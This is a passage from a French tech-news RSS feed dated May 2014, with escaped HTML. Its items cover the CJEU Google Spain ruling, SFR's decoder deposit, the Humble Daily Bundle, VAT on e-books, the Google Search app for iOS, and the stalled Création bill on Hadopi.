+&lt;p&gt;Arnaud Montebourg et Axelle Lemaire se f&amp;eacute;licitent de cet arr&amp;ecirc;t &amp;laquo;&lt;em&gt;&amp;nbsp;au regard du droit des personnes &amp;agrave; ma&amp;icirc;triser les donn&amp;eacute;es les concernant dans les r&amp;eacute;sultats des moteurs de recherche&lt;/em&gt;&amp;nbsp;&amp;raquo;. Pour la secr&amp;eacute;taire d'&amp;Eacute;tat au num&amp;eacute;rique, &amp;laquo; &lt;em&gt;cet arr&amp;ecirc;t constitue une r&amp;eacute;elle avanc&amp;eacute;e pour la protection de la vie priv&amp;eacute;e des citoyens europ&amp;eacute;ens&lt;/em&gt; &amp;raquo;. Les deux repr&amp;eacute;sentants du gouvernement fran&amp;ccedil;ais expliquent par ailleurs que &amp;laquo;&amp;nbsp;&lt;em&gt;les juges ont consid&amp;eacute;r&amp;eacute; qu&amp;rsquo;il existait un lien indissociable entre les activit&amp;eacute;s de ventes publicitaires et le service de moteur de recherche. Ils ont ainsi confirm&amp;eacute; que les traitements de donn&amp;eacute;es personnelles mis en place par le groupe &amp;eacute;taient d&amp;egrave;s lors soumis &amp;agrave; la loi nationale, conform&amp;eacute;ment &amp;agrave; cette directive&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;h3&gt;Le lien entre moteur et publicit&amp;eacute;&lt;/h3&gt;
+&lt;p&gt;En clair, il suffit que les activit&amp;eacute;s de recherches soient coupl&amp;eacute;es &amp;agrave; l&amp;rsquo;existence d&amp;rsquo;un &amp;eacute;tablissement en Europe (Google Espagne) pour que soit impos&amp;eacute;e la mise en &amp;oelig;uvre de la l&amp;eacute;gislation sur la protection des donn&amp;eacute;es. Et peu importe si cette filiale est principalement constitu&amp;eacute;e pour op&amp;eacute;rer les activit&amp;eacute;s publicitaires du g&amp;eacute;ant am&amp;eacute;ricain. Selon la CJUE, le traitement de donn&amp;eacute;es personnelles men&amp;eacute; par les moteurs &amp;laquo;&amp;nbsp;&lt;em&gt;est effectu&amp;eacute; dans le cadre de l&amp;rsquo;activit&amp;eacute; publicitaire et commerciale de l&amp;rsquo;&amp;eacute;tablissement du responsable du traitement sur le territoire d&amp;rsquo;un &amp;Eacute;tat membre, en l&amp;rsquo;occurrence le territoire espagnol.&amp;nbsp;&lt;/em&gt;&amp;raquo;&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 11:30:11 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87531.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87530-box-sfr-depot-garantie-demande-pour-decodeurs-tv.htm</guid><link>http://www.nextinpact.com/news/87530-box-sfr-depot-garantie-demande-pour-decodeurs-tv.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>FAI</category><title>Box de SFR : un dépôt de garantie demandé pour les décodeurs TV</title><description>&lt;p class="actu_chapeau"&gt;Depuis quelques jours, &lt;a href="http://pdn.im/1jrL5on" target="_blank"&gt;SFR&lt;/a&gt;&amp;nbsp;demande un d&amp;eacute;p&amp;ocirc;t de garantie pour le d&amp;eacute;codeur TV livr&amp;eacute; avec sa Box. Le montant varie entre 29 et 49 euros suivant les mod&amp;egrave;les et&amp;nbsp;le service presse de l'op&amp;eacute;rateur nous confirme que les anciens clients ne sont pas concern&amp;eacute;s.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146734.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146734.png" alt="SFR decodeur TV" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans le petit monde des FAI proposant une offre avec un d&amp;eacute;codeur TV, ceux qui ne demandent pas un d&amp;eacute;p&amp;ocirc;t de garantie sont relativement peu nombreux : &lt;a href="http://www.lesoffresinternet.fr/fournisseur/free" target="_blank"&gt;Free&lt;/a&gt;&amp;nbsp;et &lt;a href="http://www.lesoffresinternet.fr/fournisseur/sfr" target="_blank"&gt;SFR&lt;/a&gt;... du moins jusqu'&amp;agrave; fin avril. En effet, comme le soulignent&amp;nbsp;&lt;a href="http://www.universfreebox.com/article/25827/SFR-C-est-aujourd-hui-le-lancement-officiel-du-depot-de-garantie" target="_blank"&gt;nos confr&amp;egrave;res d'Univers Freebox&lt;/a&gt;&amp;nbsp;ce n'est plus le cas depuis&amp;nbsp;peu. Cette mesure &amp;eacute;tait attendue puisqu'elle &amp;eacute;tait apparue dans la &lt;a href="http://static.s-sfr.fr/media/brochure_box.pdf" target="_blank"&gt;nouvelle brochure tarifaire du&amp;nbsp;25 mars&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contact&amp;eacute; par t&amp;eacute;l&amp;eacute;phone, le service&amp;nbsp;du fournisseur d'acc&amp;egrave;s nous confirme la situation en pr&amp;eacute;cisant qu'un d&amp;eacute;p&amp;ocirc;t de garantie n'est demand&amp;eacute; que depuis peu. Notre interlocutrice nous pr&amp;eacute;cise en outre que les anciens clients ne sont pas concern&amp;eacute;s, sauf s'ils demandent un changement d'offres qui implique un changement de d&amp;eacute;codeur TV.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146733.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146733.png" alt="" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les montants&amp;nbsp;sont de&amp;nbsp;29 euros pour le d&amp;eacute;codeur classique, et de&amp;nbsp;49 euros pour les autres versions (Evolution, Google Play et satellite). Ce montant est directement pr&amp;eacute;lev&amp;eacute; sur la premi&amp;egrave;re facture &amp;eacute;mise par le FAI et vous sera restitu&amp;eacute; &amp;agrave; la fin de votre contrat, sauf&amp;nbsp;&amp;laquo; en cas de non-restitution des mat&amp;eacute;riels&amp;nbsp;dans un d&amp;eacute;lai de 1 mois apr&amp;egrave;s la r&amp;eacute;siliation de l&amp;rsquo;o&#x1F;ffre concern&amp;eacute;e &amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien &amp;eacute;videmment, nous avons mis &amp;agrave; jour notre comparateur&amp;nbsp;&lt;a href="http://www.lesoffresinternet.fr/" target="_blank"&gt;Les offres internet.fr&lt;/a&gt;&amp;nbsp;afin de prendre en compte ces changements.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 11:11:11 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87530.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87525-humble-bundle-proposera-pack-jeux-chaque-jour-pendant-2-semaines.htm</guid><link>http://www.nextinpact.com/news/87525-humble-bundle-proposera-pack-jeux-chaque-jour-pendant-2-semaines.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Jeux video</category><title>Humble Bundle proposera un pack de jeux chaque jour pendant 2 semaines</title><description>&lt;p class="actu_chapeau"&gt;R&amp;eacute;guli&amp;egrave;rement, on peut retrouver sur le site de l'&lt;a href="https://www.humblebundle.com/" target="_blank"&gt;Humble Bundle&lt;/a&gt; divers packs de jeux propos&amp;eacute;s &amp;agrave; un prix librement fix&amp;eacute; par l'acheteur, et ce, pendant 14 jours. Cette fois-ci le site s'essaye &amp;agrave; un nouveau genre d'exercice et proposera un bundle diff&amp;eacute;rent chaque jour &amp;agrave; 20 heures pendant 14 jours.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146729.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146729.png" alt="Humble Daily Bundle" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
+&lt;h3 style="text-align: justify;"&gt;L'Humble Bundle s'essaye &amp;agrave; une nouvelle recette&lt;/h3&gt;
+&lt;p style="text-align: justify;"&gt;Habituellement, quand un nouvel Humble Bundle sort de sa cachette, il s'installe pour une petite quinzaine de jours et au beau milieu de cette p&amp;eacute;riode, quelques jeux viennent s'ajouter &amp;agrave; sa liste afin de tenter de convaincre ceux qui n'auraient pas encore craqu&amp;eacute;. En g&amp;eacute;n&amp;eacute;ral le tarif des packs de jeux est suffisamment attractif pour que l'achat ne se fasse pas dans la douleur.&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;Cependant, si vous devez faire attention &amp;agrave; votre budget, il est certainement plus prudent de vous tenir &amp;eacute;loign&amp;eacute; du site de l'Humble Bundle pendant la prochaine quinzaine. En effet, lors des deux semaines &amp;agrave; venir, un nouveau pack de jeux sera mis en&amp;nbsp;vente selon les m&amp;ecirc;mes conditions qu'habituellement. Quelques titres vous seront ainsi propos&amp;eacute;s &amp;agrave; partir de 1 dollar, et si votre offre d&amp;eacute;passe la moyenne, d'autres viendront se rajouter &amp;agrave; la liste.&amp;nbsp;&lt;/p&gt;
+&lt;h3 style="text-align: justify;"&gt;Chaque jour, un nouveau pack part &amp;agrave; l'assaut de votre carte bleue&lt;/h3&gt;
+&lt;p style="text-align: justify;"&gt;Jusqu'&amp;agrave; ce soir 20h, l'&amp;eacute;quipe d'Humble Bundle propose un pack qui a d&amp;eacute;j&amp;agrave; rencontr&amp;eacute; un franc succ&amp;egrave;s il y a quelques mois de cela : le Deep Silver (Re)Bundle. Au programme, deux &amp;eacute;pisodes de &lt;em&gt;Saints Row, Risen 2 : Dark Waters&lt;/em&gt; et &lt;em&gt;Sacred 2 : Gold Edition&lt;/em&gt; vous seront fournis en l'&amp;eacute;change de n'importe quelle offre&amp;nbsp;sup&amp;eacute;rieur &amp;agrave; 1 dollar.&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;Si vous d&amp;eacute;passez le montant moyen, actuellement fix&amp;eacute; &amp;agrave; 6,27 dollars, &lt;em&gt;Dead Island&lt;/em&gt; (en version GOTY), l'ensemble des DLC de &lt;em&gt;Saints Row : The Third&lt;/em&gt;, &lt;em&gt;Metro 2033, Risen&lt;/em&gt; et&lt;em&gt; Sacred Citadel&lt;/em&gt; s'ajouteront &amp;agrave; la liste. Enfin, si vous comptez mettre plus de 9 dollars, &lt;em&gt;Dead Island : Riptide&lt;/em&gt; (Complete Edition) viendra garnir votre ludoth&amp;egrave;que. Il est &amp;agrave; noter qu'aucun des titres propos&amp;eacute;s aujourd'hui n'est affich&amp;eacute; comme &amp;eacute;tant compatible avec OS X ou Linux.&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;En l'espace d'une demi-journ&amp;eacute;e, pr&amp;egrave;s de 90 000 bundles ont d&amp;eacute;j&amp;agrave; trouv&amp;eacute; preneur, pour un montant sup&amp;eacute;rieur &amp;agrave; 560 000 dollars. Comme d'habitude, une partie de l'argent r&amp;eacute;colt&amp;eacute; est destin&amp;eacute; &amp;agrave; &lt;a href="https://www.humblebundle.com/#game-info-americanredcrosshttp://www.redcross.org/" target="_blank"&gt;la Croix Rouge Am&amp;eacute;ricaine&lt;/a&gt;, ainsi qu'&amp;agrave; l'association&lt;a href="http://www.childsplaycharity.org/" target="_blank"&gt; Child's Play&lt;/a&gt;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 10:50:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87525.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87529-livre-papier-livre-numerique-tva-sous-l-%C5%93il-justice-europeenne.htm</guid><link>http://www.nextinpact.com/news/87529-livre-papier-livre-numerique-tva-sous-l-%C5%93il-justice-europeenne.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Justice</category><title>Livre papier, livre numérique : la TVA sous l’œil de la justice européenne</title><description>&lt;p class="actu_chapeau"&gt;Le droit europ&amp;eacute;en permet-il de taxer diff&amp;eacute;remment les livres selon qu&amp;rsquo;ils sont imprim&amp;eacute;s ou stock&amp;eacute;s au format num&amp;eacute;rique (clefs USB ou CD-Rom, livre audio sur CD)&amp;nbsp;? L&amp;rsquo;avocat g&amp;eacute;n&amp;eacute;ral de la CJUE vient de r&amp;eacute;pondre positivement &amp;agrave; cette probl&amp;eacute;matique n&amp;eacute;e en Finlande.&lt;/p&gt;&lt;p&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/146732.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146732.jpeg" alt="livre ebook" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La Finlande applique une TVA diff&amp;eacute;renci&amp;eacute;e sur ces supports. Les livres imprim&amp;eacute;s profitent d&amp;rsquo;une TVA &amp;agrave; 9 % quand les autres formats sont lest&amp;eacute;s d&amp;rsquo;une TVA &amp;agrave; 23 %. Dans un litige actuellement examin&amp;eacute; par ses soins, la Cour de Justice de l&amp;rsquo;Union europ&amp;eacute;enne va devoir dire si cette discrimination est conforme au droit en vigueur.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Selon la directive TVA, les &amp;Eacute;tats membres ont &amp;laquo; &lt;em&gt;la facult&amp;eacute; d&amp;rsquo;appliquer des taux r&amp;eacute;duits &amp;agrave; la fourniture de livres&lt;/em&gt; &amp;raquo;. En 2009, cette directive a &amp;eacute;t&amp;eacute; modifi&amp;eacute;e en indiquant que la r&amp;eacute;duction concernait les livres &amp;laquo;&amp;nbsp;&lt;em&gt;sur tout type de support physique&lt;/em&gt;&amp;nbsp;&amp;raquo;&amp;nbsp;&amp;raquo; r&amp;eacute;sument les services de la CJUE. Faut-il en d&amp;eacute;duire que la TVA &amp;agrave; taux r&amp;eacute;duit doit aussi s&amp;rsquo;&amp;eacute;tendre aux livres audio ou num&amp;eacute;riques ?&lt;/p&gt;
+&lt;h3&gt;Taux r&amp;eacute;duit ou taux lourd ?&lt;/h3&gt;
+&lt;p&gt;De fait, les &amp;Eacute;tats membres ont toujours eu la capacit&amp;eacute; de diff&amp;eacute;rencier la TVA au sein d&amp;rsquo;une m&amp;ecirc;me cat&amp;eacute;gorie de prestations de services. Seulement, le droit impose que cette discrimination n&amp;rsquo;entra&amp;icirc;ne aucun risque de distorsion de concurrence. Il y a de fait une double condition&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;de n&amp;rsquo;isoler que des aspects concrets et sp&amp;eacute;cifiques de la cat&amp;eacute;gorie de prestations de service en cause et de respecter le principe de neutralit&amp;eacute; fiscale&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Est-ce le cas ici&amp;nbsp;? Sans doute oui r&amp;eacute;pond l&amp;rsquo;avocat g&amp;eacute;n&amp;eacute;ral. D&amp;rsquo;une part, les livres autres que ceux imprim&amp;eacute;s peuvent constituer des &amp;laquo;&amp;nbsp;&lt;em&gt;aspects concrets et sp&amp;eacute;cifiques&lt;/em&gt;&amp;nbsp;&amp;raquo; de la cat&amp;eacute;gorie des &amp;laquo;&amp;nbsp;livres sur tout type de support physique&amp;nbsp;&amp;raquo;. &amp;laquo;&amp;nbsp;&lt;em&gt;En effet, contrairement aux livres sur support papier, les livres sur d&amp;rsquo;autres supports n&amp;eacute;cessitent tous un dispositif technique particulier de lecture et sont donc aptes &amp;agrave; constituer des aspects concrets et sp&amp;eacute;cifiques de la cat&amp;eacute;gorie en cause&amp;nbsp;&lt;/em&gt;&amp;raquo;. D&amp;rsquo;autre part, les juridictions finlandaises doivent v&amp;eacute;rifier si, au regard du consommateur moyen finlandais, les livres imprim&amp;eacute;s et les autres formats r&amp;eacute;pondent au m&amp;ecirc;me besoin. Si tel n&amp;rsquo;est pas le cas, le principe de neutralit&amp;eacute; fiscal n&amp;rsquo;aura pas &amp;agrave; s&amp;rsquo;appliquer.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Selon les premi&amp;egrave;res pistes d&amp;eacute;frich&amp;eacute;es par l&amp;rsquo;avocat g&amp;eacute;n&amp;eacute;ral, les besoins sont sans doute diff&amp;eacute;rents. Et pour cause&amp;nbsp;: le consommateur de livres audio ou num&amp;eacute;rique est int&amp;eacute;ress&amp;eacute; par le contenu, mais &amp;eacute;galement l&amp;rsquo;environnement (applications, fonctionnalit&amp;eacute;s, etc.) qui l&amp;rsquo;accompagne. &amp;laquo;&lt;em&gt;&amp;nbsp;La d&amp;eacute;cision d&amp;rsquo;un consommateur moyen d&amp;rsquo;acheter un livre audio reposera rarement sur la simple lecture du texte d&amp;rsquo;un livre imprim&amp;eacute;, mais plus fr&amp;eacute;quemment sur la performance et/ou la notori&amp;eacute;t&amp;eacute; du lecteur ainsi que sur les effets sp&amp;eacute;ciaux ou la musique reproduits dans la version audio&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;h3&gt;Prestations de service, biens physiques&lt;/h3&gt;
+&lt;p&gt;En France, le th&amp;egrave;me est &amp;eacute;galement suivi de pr&amp;egrave;s puisque &lt;a href="http://www.nextinpact.com/news/86051-paris-et-berlin-veulent-tva-reduite-sur-ebooks-et-presse-en-ligne.htm" target="_blank"&gt;Paris, soutenu par Berlin&lt;/a&gt;, &amp;oelig;uvre pour un taux unique de TVA pour les eBooks, mais aussi pour la presse en ligne. Le droit europ&amp;eacute;en a pour particularit&amp;eacute; de consid&amp;eacute;rer ces dispositifs num&amp;eacute;riques comme des prestations de service, alors que le livre physique est un bien. Probl&amp;egrave;me, Bruxelles estime que les &amp;Eacute;tats membres ont l&amp;rsquo;obligation d&amp;rsquo;appliquer une TVA diff&amp;eacute;renci&amp;eacute;e, avec un taux l&amp;eacute;ger pour le livre papier (7% en France), et un taux lourd pour les autres formes (20%).&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 10:26:18 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87529.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87517-application-search-ok-google-debarque-sur-ios-et-now-sameliore.htm</guid><link>http://www.nextinpact.com/news/87517-application-search-ok-google-debarque-sur-ios-et-now-sameliore.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Applications</category><title>Application Search : « Ok Google » débarque sur iOS et Now s'améliore</title><description>&lt;p class="actu_chapeau"&gt;Google vient de mettre &amp;agrave; jour son application Search&amp;nbsp;sur iOS qui passe en version 4.0. Les changements sont assez nombreux, que ce soit du c&amp;ocirc;t&amp;eacute; de Google Now ou bien de la recherche avec la prise en charge&amp;nbsp;du&amp;nbsp;fameux &amp;laquo; Ok Google &amp;raquo;.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146723.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146723.jpeg" alt="Google Search" width="135" height="231" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146724.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146724.jpeg" alt="Google Search" width="135" height="231" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146725.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146725.jpeg" alt="Google Search" width="135" height="231" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146727.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146727.jpeg" alt="Google Search" width="135" height="231" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cela fait maintenant un peu plus d'un an que Google Now est disponible sur iOS, que ce soit pour les iPhone ou les iPad. Pour rappel, ce service est arriv&amp;eacute; avec la mise &amp;agrave; jour 3.0.0 de l'application Search. Depuis, le g&amp;eacute;ant du web l'a am&amp;eacute;lior&amp;eacute; en ajoutant de temps en temps de nouvelles&amp;nbsp;&amp;laquo; cartes &amp;raquo;, la derni&amp;egrave;re en date &amp;eacute;tant pour les Jeux olympiques 2014.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais la soci&amp;eacute;t&amp;eacute; de Mountain View a visiblement d&amp;eacute;cid&amp;eacute; de passer la seconde et de d&amp;eacute;ployer plusieurs nouvelles fonctionnalit&amp;eacute;s avec la mouture 4.0.0 qui vient d'arriver sur l'App Store. La premi&amp;egrave;re d'entre elles vous permettra de&lt;em&gt;&amp;nbsp;&lt;/em&gt;&amp;laquo;&lt;em&gt; poser vos questions &amp;agrave; voix haute et obtenir des informations sur les sujets qui vous int&amp;eacute;ressent &lt;/em&gt;&amp;raquo;. Pour cela, vous pouvez soit appuyer sur le micro, soit simplement de dire&amp;nbsp;&amp;laquo; Ok Google &amp;raquo;, puis dicter votre requ&amp;ecirc;te. Pour rappel, ces deux mots cl&amp;eacute;s fonctionnent&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/79767-google-chrome-simplifie-recherche-vocale-knowledge-graph-setend.htm" target="_blank"&gt;&amp;eacute;galement sur Chrome&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez par contre qu'il faut que l'application soit au premier plan pour que cela fonctionne. Bien &amp;eacute;videmment, il est possible de d&amp;eacute;sactiver cette fonctionnalit&amp;eacute; via les param&amp;egrave;tres de l'application :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146730.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146730.jpeg" alt="Google Search" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Via les &amp;laquo; cartes &amp;raquo; de Google Now, cette mouture 4.0.0 vous informera de la publication d'articles susceptibles de vous int&amp;eacute;resser. Trois crit&amp;egrave;res sont mis en avant par Google&amp;nbsp;afin de&amp;nbsp;faire le tri : vos sujets&amp;nbsp;de pr&amp;eacute;dilection, vos voyages en pr&amp;eacute;paration&amp;nbsp;ainsi que vos auteurs pr&amp;eacute;f&amp;eacute;r&amp;eacute;s. Sachez enfin que les recherches devraient&amp;nbsp;se faire plus rapidement, tandis que celles concernant les images devraient &amp;ecirc;tre plus fluides.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour t&amp;eacute;l&amp;eacute;charger&amp;nbsp;Google Search, c'est&amp;nbsp;&lt;a href="https://itunes.apple.com/fr/app/google-search/id284815942?mt=8" target="_blank"&gt;par ici que &amp;ccedil;a se passe&lt;/a&gt;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 10:00:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87517.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87524-peine-suspension-contre-projet-loi-creation.htm</guid><link>http://www.nextinpact.com/news/87524-peine-suspension-contre-projet-loi-creation.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Hadopi</category><title>Peine de suspension contre le projet de loi Création</title><description>&lt;p class="actu_chapeau"&gt;La loi sur la&amp;nbsp;Cr&amp;eacute;ation, cens&amp;eacute;e op&amp;eacute;rer le transfert des comp&amp;eacute;tences de la Hadopi au CSA, va-t-elle rester dans les placards&amp;nbsp;?&amp;nbsp;Promis de longue date par Aur&amp;eacute;lie Filippetti, le texte patine Rue de Valois. Il ne parvient pas &amp;agrave; d&amp;eacute;boucher sur un projet de loi, malgr&amp;eacute; les nombreuses promesses minist&amp;eacute;rielles.&lt;/p&gt;&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140267.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-140267.jpeg" alt="Aur&amp;eacute;lie Filippetti Pascal Rogard" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En octobre 2013, lors des rencontres &lt;span data-affiliable="false" data-affkey="cin&amp;eacute;ma"&gt;cin&amp;eacute;ma&lt;/span&gt;tographiques de Dijon,&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/84136-hadopi-csa-aurelie-filippetti-devra-jongler-avec-calendrier-surcharge.htm" target="_blank"&gt;Aur&amp;eacute;lie Filippetti nous confiait&lt;/a&gt; vouloir &amp;laquo;&amp;nbsp;&lt;em&gt;pr&amp;eacute;senter le projet de loi en Conseil des ministres si possible avant No&amp;euml;l. Et en tout cas avant le mois de f&amp;eacute;vrier, c'est-&amp;agrave;-dire avant la pause de l&amp;rsquo;Assembl&amp;eacute;e nationale pour les &amp;eacute;lections municipales&lt;/em&gt; &amp;raquo;.&lt;/p&gt;
+&lt;h3&gt;Un texte long de 89 articles&lt;/h3&gt;
+&lt;p&gt;Le rendez-vous &amp;eacute;lectoral pass&amp;eacute;, il n&amp;rsquo;en est toujours rien. Selon&lt;a href="http://www.lesechos.fr/journal20140514/lec2_high_tech_et_medias/0203491334178-le-projet-de-loi-creation-a-du-plomb-dans-l-aile-670697.php" target="_blank"&gt;&amp;nbsp;Les &amp;Eacute;chos&lt;/a&gt; et &lt;a href="http://electronlibre.info/loi-creation-suspendue/" target="_blank"&gt;&amp;Eacute;lectron Libre&lt;/a&gt;, le texte a d&amp;eacute;sormais du plomb dans l&amp;rsquo;aile. En cause, la complexit&amp;eacute; du dispositif qui contient une partie cr&amp;eacute;ation, une partie li&amp;eacute;e au spectacle vivant et aux arts visuels ainsi que sur le num&amp;eacute;rique. Selon une source, le projet compte 89 articles, soit une longueur qui rend p&amp;eacute;rilleuse toute aventure parlementaire.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Autre chose, le calendrier est pour le moins surcharg&amp;eacute;, laissant peu de fen&amp;ecirc;tres de tir pour un dispositif aussi long. Cette surcharge nous &amp;eacute;tait d&amp;eacute;j&amp;agrave; &amp;eacute;voqu&amp;eacute;e par la ministre, toujours &amp;agrave; Dijon&amp;nbsp;: &amp;laquo;&amp;nbsp;&lt;em&gt;Le calendrier parlementaire est surcharg&amp;eacute;, nous avons du mal &amp;agrave; trouver des fen&amp;ecirc;tres sur les sujets Culture puisque chacun veut faire passer ses textes&amp;nbsp;&lt;/em&gt;&amp;raquo;, Aur&amp;eacute;lie Filippetti &amp;eacute;voquant un &amp;laquo;&amp;nbsp;&lt;em&gt;encombrement l&amp;eacute;gislatif&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Chez un des ayants droit de la musique, contact&amp;eacute; hier, on regrette surtout que la ministre n&amp;rsquo;ait pas profit&amp;eacute; de la loi sur l&amp;rsquo;ind&amp;eacute;pendance de l&amp;rsquo;audiovisuel vot&amp;eacute;e fin 2013. Le s&amp;eacute;nateur David Assouline avait alors tent&amp;eacute; en effet de basculer la riposte gradu&amp;eacute;e de la &lt;span data-affiliable="true" data-affkey="Hadopi"&gt;Hadopi&lt;/span&gt; jusqu&amp;rsquo;au CSA. Mais le projet, consid&amp;eacute;r&amp;eacute; comme un cavalier l&amp;eacute;gislatif par plusieurs &amp;eacute;lus de la majorit&amp;eacute; oppos&amp;eacute;s &amp;agrave; ce dispositif p&amp;eacute;nal, a capot&amp;eacute;. D'ailleurs, &lt;a href="http://www.nextinpact.com/news/86856-csa-hadopi-environnement-hostile-pour-projet-loi-filippetti.htm" target="_blank"&gt;comme expliqu&amp;eacute;&lt;/a&gt;, l'environnement est pour le moins hostile pour Aur&amp;eacute;lie Filippetti puisque outre les Verts et l'UMP, celle-ci devra composer avec les divisions internes au PS.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pas &amp;eacute;tonnant donc que le rapport Lescure souffre &lt;a href="http://www.nextinpact.com/news/87479-un-an-apres-maigre-bilan-rapport-lescure.htm" target="_blank"&gt;d'un si mauvais bilan&lt;/a&gt;, puisque rares sont les propositions qui sont pass&amp;eacute;es de la parole aux actes, notamment celles relatives aux nouvelles comp&amp;eacute;tences du CSA.&lt;/p&gt;
